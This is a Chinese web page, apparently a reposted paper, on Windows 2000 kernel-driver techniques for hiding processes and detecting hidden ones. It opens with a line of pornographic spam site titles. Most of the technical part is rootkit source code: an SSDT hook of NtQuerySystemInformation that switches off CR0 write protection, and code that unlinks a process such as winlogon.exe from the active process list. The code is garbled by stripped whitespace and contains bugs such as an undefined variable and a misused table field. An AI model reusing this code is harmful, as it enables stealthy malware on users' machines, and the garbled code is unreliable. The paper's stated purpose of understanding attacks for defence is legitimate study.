在线观看av毛片亚洲_伊人久久大香线蕉成人综合网_一级片黄色视频播放_日韩免费86av网址_亚洲av理论在线电影网_一区二区国产免费高清在线观看视频_亚洲国产精品久久99人人更爽_精品少妇人妻久久免费
首頁 > 文章中心 > 正文

內(nèi)核級進(jìn)程技術(shù)

前言:本站為你精心整理了內(nèi)核級進(jìn)程技術(shù)范文,希望能為你的創(chuàng)作提供參考價(jià)值,我們的客服老師可以幫助你提供個(gè)性化的參考范文,歡迎咨詢。

內(nèi)核級進(jìn)程技術(shù)

論文關(guān)鍵字:內(nèi)核攔截活動(dòng)進(jìn)程鏈表系統(tǒng)服務(wù)派遣表線程調(diào)度鏈驅(qū)動(dòng)程序簡介

論文摘要:信息對抗是目前計(jì)算機(jī)發(fā)展的一個(gè)重要的方向,為了更好的防御,必須去深入的了解敵人進(jìn)攻的招式。信息對抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對抗技術(shù)的中一個(gè)很小一角關(guān)于windows內(nèi)核級病毒隱藏技術(shù)和反病毒偵測技術(shù)作為議題詳細(xì)討論。

1.為什么選驅(qū)動(dòng)程序

驅(qū)動(dòng)程序是運(yùn)行在系統(tǒng)信任的Ring0環(huán)境下在代碼,她擁有對系統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動(dòng)可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個(gè)字節(jié)或者試圖執(zhí)行像MOVEAX,CR3這樣的匯編指令都會(huì)被立即終止掉。不過,這種強(qiáng)大的底線是驅(qū)動(dòng)程序的一個(gè)很小的錯(cuò)誤就會(huì)讓整個(gè)系統(tǒng)崩潰。所以對隱藏和反隱藏技術(shù)來說都提供了一個(gè)極好的環(huán)境。但是又對攻擊者和反查殺者提出了更高的技術(shù)要求。

2.入口例程DriverEntry

DriverEntry是內(nèi)核模式驅(qū)動(dòng)程序主入口點(diǎn)常用的名字,她的作用和main,WinMain,是一樣的。

extern"C"NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)

{...}

DriverEntry的第一個(gè)參數(shù)是一個(gè)指針,指向一個(gè)剛被初始化的驅(qū)動(dòng)程序?qū)ο螅搶ο缶痛砟愕尿?qū)動(dòng)程序,DriverEntry的第二個(gè)參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個(gè)NTSTATUS值。NTSTATUS實(shí)際就是一個(gè)長整型,但你應(yīng)該使用NTSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會(huì)更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。

DriverEntry的作用主要就是創(chuàng)建設(shè)備對象,建立設(shè)備對象的符號鏈接,設(shè)置好各個(gè)類型的回調(diào)函數(shù)等。

例如:

extern"C"

NTSTATUS

DriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)

{

DriverObject->DriverUnload=DriverUnload;<--1

DriverObject->DriverExtension->AddDevice=AddDevice;

DriverObject->DriverStartIo=StartIo;

DriverObject->MajorFunction[IRP_MJ_PNP]=DispatchPnp;<--2

DriverObject->MajorFunction[IRP_MJ_POWER]=DispatchPower;

DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL]=DispatchWmi;

...

}

在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對象。在NT驅(qū)動(dòng)中在DriverEntry例程中創(chuàng)建設(shè)備對象和符號鏈接。

例如:

RtlInitUnicodeString(&deviceNameUnicodeString,deviceNameBuffer);//初始化設(shè)備名字

//創(chuàng)建設(shè)備

ntStatus=IoCreateDevice(DriverObject,

0,

&deviceNameUnicodeString,

##DeviceId,

0,

FALSE,

&deviceObject

);

if(NT_SUCCESS(ntStatus)){

RtlInitUnicodeString(&deviceLinkUnicodeString,deviceLinkBuffer);//初始化符號鏈接名字

//創(chuàng)建符號鏈接

ntStatus=IoCreateSymbolicLink(&deviceLinkUnicodeString,&deviceNameUnicodeString);

if(!NT_SUCCESS(ntStatus)){

IoDeleteDevice(deviceObject);//如果創(chuàng)建符號鏈接失敗,刪除設(shè)備

returnntStatus;

}

}

建立符號鏈接的作用就是暴露一個(gè)給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFileAPI打開鏈接符號,得到一個(gè)語柄,和我們的驅(qū)動(dòng)程序進(jìn)行交互操作。

3.Unload例程

雖然各個(gè)驅(qū)動(dòng)程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作:

釋放屬于驅(qū)動(dòng)程序的任何硬件。

從Win32的名字空間移除符號連接名。

這個(gè)動(dòng)作可以調(diào)用IoDeleteSymbolicLink來實(shí)現(xiàn)。

使用IoDeleteDevice移除設(shè)備對象。

釋放驅(qū)動(dòng)程序持有的任何緩沖池等。

VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)

{

PDEVICE_OBJECTpNextObj;

//循環(huán)每一個(gè)驅(qū)動(dòng)過程控制的設(shè)備

pNextObj=pDriverObject->DeviceObject;

while(pNextObj!=NULL)

{

//從設(shè)備對象中取出設(shè)備Extension

PDEVICE_EXTENSIONpDevExt=(PDEVICE_EXTENSION)extObj->DeviceExtension;

//取出符號連接名

UNICODE_STRINGpLinkName=pDevExt->ustrSymLinkName;

IoDeleteSymbolicLink(&pLinkName);//刪除符號連接名

IoDeleteDevice(pNextObj);//刪除設(shè)備

pNextObj=pNextObj->NextDevice;

}

}

4.派遣例程

Win2000的I/O請求是包驅(qū)動(dòng)的,當(dāng)一個(gè)I/O請求開始,I/O管理器先創(chuàng)建一個(gè)IRP去跟蹤這個(gè)請求,另外,它存儲(chǔ)一個(gè)功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識請求的類型。MajorField域是被I/O管理器用來索引驅(qū)動(dòng)程序?qū)ο蟮腗ajorFunction表,這個(gè)表包含一個(gè)指向一個(gè)特殊I/O請求的派遣例程的功能指針,如果驅(qū)動(dòng)程序不支持這個(gè)請求,MajorFunction表就會(huì)指向I/O管理器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個(gè)錯(cuò)誤給原始的調(diào)用者。驅(qū)動(dòng)程序的作者有責(zé)任提供所有的驅(qū)動(dòng)程序支持的派遣例程。所有的驅(qū)動(dòng)程序必須支持IRP_MJ_CREATE功能代碼,因?yàn)檫@個(gè)功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動(dòng)程序必須支持IRP_MJ_CLOSE功能代碼,因?yàn)樗脕眄憫?yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動(dòng)調(diào)用CloseHandle函數(shù),因?yàn)樵诔绦蛲顺龅臅r(shí)候,所有的句柄都沒有被關(guān)閉。

staticNTSTATUSMydrvDispatch(INPDEVICE_OBJECTDeviceObject,INPIRPIrp)

{

NTSTATUSstatus;

PIO_STACK_LOCATIONirpSp;

//得到當(dāng)前IRP(I/O請求包)

irpSp=IoGetCurrentIrpStackLocation(Irp);

switch(irpSp->MajorFunction)

{

caseIRP_MJ_CREATE:

DbgPrint("IRP_MJ_CREATE\n");

Irp->IoStatus.Status=STATUS_SUCCESS;

Irp->IoStatus.Information=0L;

break;

caseIRP_MJ_CLOSE:

DbgPrint("IRP_MJ_CLOSE\n");

Irp->IoStatus.Status=STATUS_SUCCESS;

Irp->IoStatus.Information=0L;

break;

}

IoCompleteRequest(Irp,0);

returnSTATUS_SUCCESS;

}

大部分的I/O管理器的操作支持一個(gè)標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴(kuò)展的I/O請求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個(gè)IRP,這個(gè)IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動(dòng)程序的IOCTL遵循一個(gè)特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個(gè)方便的產(chǎn)生IOCTL值的機(jī)制的宏,CTL_CODE??梢允褂肅TL_CODE宏來定義我們自己的IOCTL。

例如:

#defineIOCTL_MISSLEDEVICE_AIMCTL_CODE\

(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_ACCESS_ANY)

NTSTATUSDispatchIoControl(INPDEVICE_OBJECTpDO,INPIRPpIrp)

{

NTSTATUSstatus=STATUS_SUCCESS;

PDEVICE_EXTENSIONpDE;

PVOIDuserBuffer;

ULONGinSize;

ULONGoutSize;

ULONGcontrolCode;//IOCTL請求代碼

PIO_STACK_LOCATIONpIrpStack;//堆棧區(qū)域存儲(chǔ)了用戶緩沖區(qū)信息

pIrpStack=IoGetCurrentIrpStackLocation(pIrp);

//取出IOCTL請求代碼

controlCode=pIrpStack->Parameters.DeviceIoControl.IoControlCode;

//得到請求緩沖區(qū)大小

inSize=pIrpStack->Parameters.DeviceIoControl.InputBufferLength;

OutSize=pIrpStack->Parameters.DeivceIoControl.OutputBufferLength;

//現(xiàn)在執(zhí)行二次派遣

switch(controlCode)

{

caseIOCTL_MISSLEDEVICEAIM:

......

caseIOCTL_DEVICE_LAUNCH:

......

default://驅(qū)動(dòng)程序收到了未被承認(rèn)的控制代碼

status=STATUS_INVALID_DEVICE_REQUEST;

}

pIrp->IoStatus.Information=0;//數(shù)據(jù)沒有傳輸

IoCompleteRequest(pIrp,IO_NO_INCREMENT);

returnstatus;

}

5.驅(qū)動(dòng)程序的安裝

SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動(dòng)程序。

加載和運(yùn)行一個(gè)服務(wù)需要執(zhí)行的典型操作步驟:

1.調(diào)用OpenSCManager()以獲取一個(gè)管理器句柄

2.調(diào)用CreateService()來向系統(tǒng)中添加一個(gè)服務(wù)

3.調(diào)用StartService()來運(yùn)行一個(gè)服務(wù)

4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄

BOOLInstallDriver()

{

SC_HANDLEhSCManager=NULL;

hSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);

if(hSCManager==NULL)

{

fprintf(stderr,"OpenSCManager()failed.--err:%d\n",GetLastError());

returnFALSE;

}

SC_HANDLEschService;

schService=CreateService(hSCManager,//SCManagerdatabase

"MyDriver",//nameofservice

"MyDriver",//nametodisplay

SERVICE_ALL_ACCESS,//desiredaccess

SERVICE_KERNEL_DRIVER,//servicetype

SERVICE_AUTO_START,//starttype

SERVICE_ERROR_NORMAL,//errorcontroltype

DriverPath,//service’sbinary

NULL,//noloadorderinggroup

NULL,//notagidentifier

NULL,//nodependencies

NULL,//LocalSystemaccount

NULL//nopassword

);

if(schService==NULL)

{

if(GetLastError()==ERROR_SERVICE_EXISTS)

{

printf("Servicehasalreadyinstalled!\n");

}

printf("Installdriverfalse!");

returnFALSE;

}

BOOLnRet=StartService(schService,0,NULL);

if(!nRet)

{

if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)

{

printf("Serviceisalreadyrunning!\n");

returnFALSE;}

}

CloseServiceHandle(schService);

CloseServiceHandle(hSCManager);

returnTRUE;

}

以上對驅(qū)動(dòng)程序大致框架做了一個(gè)非常簡單的介紹,這僅僅是驅(qū)動(dòng)程序中的一個(gè)”HelloWorld!”。驅(qū)動(dòng)程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動(dòng)程序的特權(quán),對windows內(nèi)核進(jìn)行修改,所以就不對驅(qū)動(dòng)驅(qū)動(dòng)程序進(jìn)行深入討論了。

通過HookSSDT(SystemServiceDispathTable)隱藏進(jìn)程

1.原理介紹:

Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對int2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個(gè)函數(shù)KiSystemService()來實(shí)現(xiàn)的。在你使用了一個(gè)系統(tǒng)調(diào)用時(shí),必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個(gè)函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個(gè)數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows2000中有一個(gè)未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個(gè)數(shù)據(jù)結(jié)構(gòu),定義如下:

typedefstructSystemServiceDescriptorTable

{

UINT*ServiceTableBase;

UINT*ServiceCounterTableBase;

UINTNumberOfService;

UCHAR*ParameterTableBase;

}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個(gè)數(shù)組單元。在windows2000sp4中NumberOfService的數(shù)目是248個(gè)。

我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級枚舉的方法:

•PSAPI

–EnumProcesses()

•ToolHelp32

–Process32First()

-Process32Next()

來對進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實(shí)NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。

2.Hook

Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個(gè)DWORD類型的讀出來保存一個(gè)全局變量中然后再把她重新賦值成一個(gè)新的Hook函數(shù)的地址,就完成了Hook。

OldFuncAddress=KeServiceDescriptorTable->ServiceCounterTableBase[0x97];

KeServiceDescriptorTable->ServiceCounterTableBase[0x97]=NewFuncAddress;

在其他系統(tǒng)中這個(gè)號就不一定一樣。所以必須找一種通用的辦法來得到這個(gè)索引號。在《UndocumentNt》中介紹了一種辦法可以解決這個(gè)通用問題,從未有效的避免了使用硬編碼。在ntoskrnl導(dǎo)出的ZwQuerySystemInformation中包含有索引號的硬編碼:

kd>uZwQuerySystemInformation

804011aab897000000moveax,0x97

804011af8d542404leaedx,[esp+0x4]

804011b3cd2eint2e

804011b5c21000ret0x10

所以只需要把ZwQuerySystemInformation入口處的第二個(gè)字節(jié)取出來就能得到相應(yīng)的索引號了。例如:

ID=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]=HookZwQuerySystemInformation;

3.對NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改

NtQuerySystemInformation的原型:

NtQuerySystemInformation(

INULONGSystemInformationClass,//查詢系統(tǒng)服務(wù)類型

INPVOIDSystemInformation,//接收系統(tǒng)信息緩沖區(qū)

INULONGSystemInformationLength,//接收信息緩沖區(qū)大小OUTPULONGReturnLength);//實(shí)際接收到的大小

NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對進(jìn)程的查詢,通過SystemInformationClass號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時(shí)候是在進(jìn)行進(jìn)程的查詢。此時(shí)返回的SystemInformation是一個(gè)_SYSTEM_PROCESSES結(jié)構(gòu)。

struct_SYSTEM_PROCESSES

{

ULONGNextEntryDelta;//下一個(gè)進(jìn)程信息的偏移量,如果為0表示無一個(gè)進(jìn)程信息

ULONGThreadCount;//線程數(shù)量

ULONGReserved[6];//

LARGE_INTEGERCreateTime;//創(chuàng)建進(jìn)程的時(shí)間

LARGE_INTEGERUserTime;//進(jìn)程中所有線程在用戶模式運(yùn)行時(shí)間的總和

LARGE_INTEGERKernelTime;//進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時(shí)間的總和

UNICODE_STRINGProcessName;//進(jìn)程的名字

KPRIORITYBasePriority;//線程的缺省優(yōu)先級

ULONGProcessId;//進(jìn)程ID號

ULONGInheritedFromProcessId;//繼承語柄的進(jìn)程ID號

ULONGHandleCount;//進(jìn)程打開的語柄數(shù)量

ULONGReserved2[2];//

VM_COUNTERSVmCounters;//虛擬內(nèi)存的使用情況統(tǒng)計(jì)

IO_COUNTERSIoCounters;//IO操作的統(tǒng)計(jì),OnlyFor2000

struct_SYSTEM_THREADSThreads[1];//描述進(jìn)程中各線程的數(shù)組

};

當(dāng)NextEntryDelta域等于0時(shí)表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。

4.核心實(shí)現(xiàn)

//系統(tǒng)服務(wù)表入口地址

externPServiceDescriptorTableEntryKeServiceDescriptorTable;

NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)

{

……

__asm{

moveax,cr0

movCR0VALUE,eax

andeax,0fffeffffh//DisableWriteProtect

movcr0,eax

}

//取得原來ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]);

//Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

//EnableWriteProtect

__asm

{

moveax,CR0VALUE

movcr0,eax

}

……

returnSTATUS_SUCCESS;

}

VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)

{

……

//UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=RealZwQuerySystemInformation;

……

}

NTSTATUSHookFunc(

INULONGSystemInformationClass,

INPVOIDSystemInformation,

INULONGSystemInformationLength,

OUTPULONGReturnLength)

{

NTSTATUSrc;

struct_SYSTEM_PROCESSES*curr;

//保存上一個(gè)進(jìn)程信息的指針

struct_SYSTEM_PROCESSES*prev=NULL;

//調(diào)用原函數(shù)

rc=(RealZwQuerySystemInformation)(

SystemInformationClass,

SystemInformation,

SystemInformationLength,ReturnLength);

if(NT_SUCCESS(rc))

{

if(5==SystemInformationClass)

//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation

{

curr=(struct_SYSTEM_PROCESSES*)SystemInformation;

//加第一個(gè)偏移量得到第一個(gè)system進(jìn)程的信息首地址

if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);

while(curr)

{

if(RtlCompareUnicodeString(&hide_process_name,&curr->ProcessName,1)==0)

{

//找到要隱藏的進(jìn)程

if(prev)

{

if(curr->NextEntryDelta)

{

//要?jiǎng)h除的信息在中間

prev->NextEntryDelta+=curr->NextEntryDelta;

}

else

{

//要?jiǎng)h除的信息在末尾

prev->NextEntryDelta=0;

}

}

else

{

if(curr->NextEntryDelta)

{

//要?jiǎng)h除的信息在開頭

(char*)SystemInformation+=curr->NextEntryDelta;

}

else

{

SystemInformation=NULL;

}

}

//如果鏈下一個(gè)還有其他的進(jìn)程信息,指針往后移

if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);else

{

curr=NULL;

break;

}

}

if(curr!=NULL)

{

//把當(dāng)前指針設(shè)置成前一個(gè)指針,當(dāng)前指針后移

prev=curr;

if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

elsecurr=NULL;

}

}//endwhile(curr)

}

}

returnrc;

}

通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,

DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

NULL,0,&BytesReturned,NULL)來通知驅(qū)動(dòng)程序要隱藏的進(jìn)程的名字。

枚舉和修改活動(dòng)進(jìn)程鏈表來檢測和隱藏進(jìn)程

1.介紹EPROCESS塊(進(jìn)程執(zhí)行塊)

每個(gè)進(jìn)程都由一個(gè)EPROCESS塊來表示。EPROCESS塊中不僅包含了進(jìn)程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個(gè)進(jìn)程里面都至少有一個(gè)ETHREAD塊表示的線程。進(jìn)程的名字,和在用戶空間的PEB(進(jìn)程環(huán)境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。

2.查看EPROCESS結(jié)構(gòu)

kd>!processfields

!processfields

EPROCESSstructureoffsets:

Pcb:0x0

ExitStatus:0x6c

LockEvent:0x70

LockCount:0x80

CreateTime:0x88

ExitTime:0x90

LockOwner:0x98

UniqueProcessId:0x9c

ActiveProcessLinks:0xa0

QuotaPeakPoolUsage[0]:0xa8

QuotaPoolUsage[0]:0xb0

PagefileUsage:0xb8

CommitCharge:0xbc

PeakPagefileUsage:0xc0

PeakVirtualSize:0xc4

VirtualSize:0xc8

Vm:0xd0

DebugPort:0x120

ExceptionPort:0x124

ObjectTable:0x128

Token:0x12c

WorkingSetLock:0x130

WorkingSetPage:0x150

ProcessOutswapEnabled:0x154

ProcessOutswapped:0x155

AddressSpaceInitialized:0x156

AddressSpaceDeleted:0x157

AddressCreationLock:0x158

ForkInProgress:0x17c

VmOperation:0x180

VmOperationEvent:0x184

PageDirectoryPte:0x1f0

LastFaultCount:0x18c

VadRoot:0x194

VadHint:0x198

CloneRoot:0x19c

NumberOfPrivatePages:0x1a0

NumberOfLockedPages:0x1a4

ForkWasSuccessful:0x182

ExitProcessCalled:0x1aa

CreateProcessReported:0x1ab

SectionHandle:0x1ac

Peb:0x1b0

SectionBaseAddress:0x1b4

QuotaBlock:0x1b8

LastThreadExitStatus:0x1bc

WorkingSetWatch:0x1c0

InheritedFromUniqueProcessId:0x1c8

GrantedAccess:0x1cc

DefaultHardErrorProcessing0x1d0

LdtInformation:0x1d4

VadFreeHint:0x1d8

VdmObjects:0x1dc

DeviceMap:0x1e0

ImageFileName[0]:0x1fc

VmTrimFaultValue:0x20c

Win32Process:0x214

Win32WindowStation:0x1c4

3.什么是活動(dòng)進(jìn)程鏈表

EPROCESS塊中有一個(gè)ActiveProcessLinks成員,它是一個(gè)PLIST_ENTRY機(jī)構(gòu)的雙向鏈表。當(dāng)一個(gè)新進(jìn)程建立的時(shí)候父進(jìn)程負(fù)責(zé)完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個(gè)全局內(nèi)核變量PsActiveProcessHead鏈表中。在PspCreateProcess內(nèi)核API中能清晰的找到:

InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

當(dāng)進(jìn)程結(jié)束的時(shí)候,該進(jìn)程的EPROCESS結(jié)構(gòu)當(dāng)從活動(dòng)進(jìn)程鏈上摘除。(但是EPROCESS結(jié)構(gòu)不一定就馬上釋放)。

在PspExitProcess內(nèi)核API中能清晰的找到:

RemoveEntryList(&Process->ActiveProcessLinks);

所以我們完全可以利用活動(dòng)進(jìn)程鏈表來對進(jìn)程進(jìn)行枚舉。

4.進(jìn)程枚舉檢測HookSSDT隱藏的進(jìn)程。

事實(shí)上NactiveAPIZwQuerySystemInformation對進(jìn)程查詢也是找到活動(dòng)進(jìn)程鏈表頭,然后遍歷活動(dòng)進(jìn)程鏈。最后把每一個(gè)EPROCESS中包含的基本信息返回(包括進(jìn)程ID名字等)。所以用遍歷活動(dòng)進(jìn)程鏈表的辦法能有效的把HookSSDT進(jìn)行隱藏的進(jìn)程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe導(dǎo)出來,所以我們可以利用硬編碼的辦法,來解決這個(gè)問題。利用內(nèi)核調(diào)試器livekd查得PsActiveProcessHead的地址為:0x8046e460.(在2000sp4中得到的值)

kd>ddPsActiveProcessHeadL2

ddPsActiveProcessHeadL2

8046e46081829780ff2f4c80

PLIST_ENTRYPsActiveProcessHead=(PLIST_ENTRY)0x8046e460;

voidDisplayList()

{

PLIST_ENTRYList=PsActiveProcessHead->Blink;

while(List!=PsActiveProcessHead)

{

char*name=((char*)List-0xa0)+0x1fc;

DbgPrint("name=%s\n",name);

List=List->Blink;

}

}

首先把List指向表頭后的第一個(gè)元素。然后減去0xa0,因?yàn)檫@個(gè)時(shí)候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結(jié)構(gòu),而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進(jìn)程的名字信息,所以再加上0x1fc得到進(jìn)程名字,并且在Dbgview中打印出來。利用HookSSDT隱藏的進(jìn)程很容易就被查出來了。

5.解決硬編碼問題。

在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統(tǒng)中這值不一樣。在不同的SP版本中這個(gè)值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個(gè)PsActiveProcessHead的硬編碼的問題。

ntoskrnl.exe導(dǎo)出的PsInitialSystemProcess是一個(gè)指向system進(jìn)程的EPROCESS。這個(gè)結(jié)構(gòu)成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.

kd>ddPsInitialSystemProcessL1

ddPsInitialSystemProcessL1

8046e450818296e0

kd>!process818296e00

!process818296e00

PROCESS818296e0SessionId:0Cid:0008Peb:00000000ParentCid:0000

DirBase:00030000ObjectTable:8185d148TableSize:141.

Image:System

可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.

kd>dd818296e0+0xa0L2

dd818296e0+0xa0L2

81829780814d1a008046e460

上面又可以看出SystemEPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.

6.刪除活動(dòng)進(jìn)程鏈表實(shí)現(xiàn)進(jìn)程隱藏

由于Windows是基于線程調(diào)度的。所以如果我們把要隱藏的進(jìn)程的EPROCESS塊從活動(dòng)進(jìn)程鏈上摘除,就能有效的繞過基于通過活動(dòng)進(jìn)程鏈表檢測進(jìn)程的防御系統(tǒng)。因?yàn)槭且跃€程為基本單位進(jìn)行調(diào)度,所以摘除過后并不影響隱藏進(jìn)程的線程調(diào)度。

voidDelProcessList()

{

PLIST_ENTRYList=PsActiveProcessHead->Blink;

while(List!=PsActiveProcessHead)

{

char*name=((char*)List-0xa0)+0x1fc;

if(!_stricmp(name,"winlogon.exe"))

{

DbgPrint("remove%s\n",name);

RemoveEntryList(List);

}

List=List->Blink;

}

}

首先和上面的程序一樣得到PsActiveProcessHead頭的后面第一個(gè)EPROCESS塊。然后和我們要隱藏的進(jìn)程名字進(jìn)行對比,如果不是指針延鏈下移動(dòng)。如果是就把EPROCESS塊從活動(dòng)進(jìn)程鏈上摘除。一直到遍歷完一次活動(dòng)進(jìn)程的雙向鏈表。當(dāng)摘除指定進(jìn)程的EPROCESS塊后可以發(fā)現(xiàn)任務(wù)管理器里面的指定的進(jìn)程消失了,然后又用上面的基于活動(dòng)進(jìn)程鏈表檢測進(jìn)程的程序一樣的發(fā)現(xiàn)不到隱藏的進(jìn)程。

基于線程調(diào)度鏈表的檢測和隱藏技術(shù)

1.什么是ETHREAD和KTHREAD塊

Windows2000是由執(zhí)行程序線程(ETHREAD)塊表示的,ETHREAD成員都是指向的系統(tǒng)空間,進(jìn)程環(huán)境塊(TEB)除外。ETHREAD塊中的第一個(gè)結(jié)構(gòu)體就是內(nèi)核線程(KTHREAD)塊。在KTHREAD塊中包含了windows2000內(nèi)核需要訪問的信息。這些信息用于執(zhí)行線程的調(diào)度和同步正在運(yùn)行的線程。

kd>!kthread

struct_KTHREAD(sizeof=432)

+000struct_DISPATCHER_HEADERHeader

+010struct_LIST_ENTRYMutantListHead

+018void*InitialStack

+01cvoid*StackLimit

+020void*Teb

+024void*TlsArray

+028void*KernelStack

+02cbyteDebugActive

+02dbyteState

+02ebyteAlerted[2]

+030byteIopl

+031byteNpxState

+032charSaturation

+033charPriority

+034struct_KAPC_STATEApcState

+034struct_LIST_ENTRYApcListHead[2]

+044struct_KPROCESS*Process

+04cuint32ContextSwitches

+050int32WaitStatus

+054byteWaitIrql

+055charWaitMode

+056byteWaitNext

+057byteWaitReason

+058struct_KWAIT_BLOCK*WaitBlockList

+05cstruct_LIST_ENTRYWaitListEntry

+064uint32WaitTime

+068charBasePriority

+069byteDecrementCount

+06acharPriorityDecrement

+06bcharQuantum

+06cstruct_KWAIT_BLOCKWaitBlock[4]

+0ccvoid*LegoData

+0d0uint32KernelApcDisable

+0d4uint32UserAffinity

+0d8byteSystemAffinityActive

+0d9bytePowerState

+0dabyteNpxIrql

+0dbbytePad[1]

+0dcvoid*ServiceTable

+0e0struct_KQUEUE*Queue

+0e4uint32ApcQueueLock

+0e8struct_KTIMERTimer

+110struct_LIST_ENTRYQueueListEntry

+118uint32Affinity

+11cbytePreempted

+11dbyteProcessReadyQueue

+11ebyteKernelStackResident

+11fbyteNextProcessor

+120void*CallbackStack

+124void*Win32Thread

+128struct_KTRAP_FRAME*TrapFrame

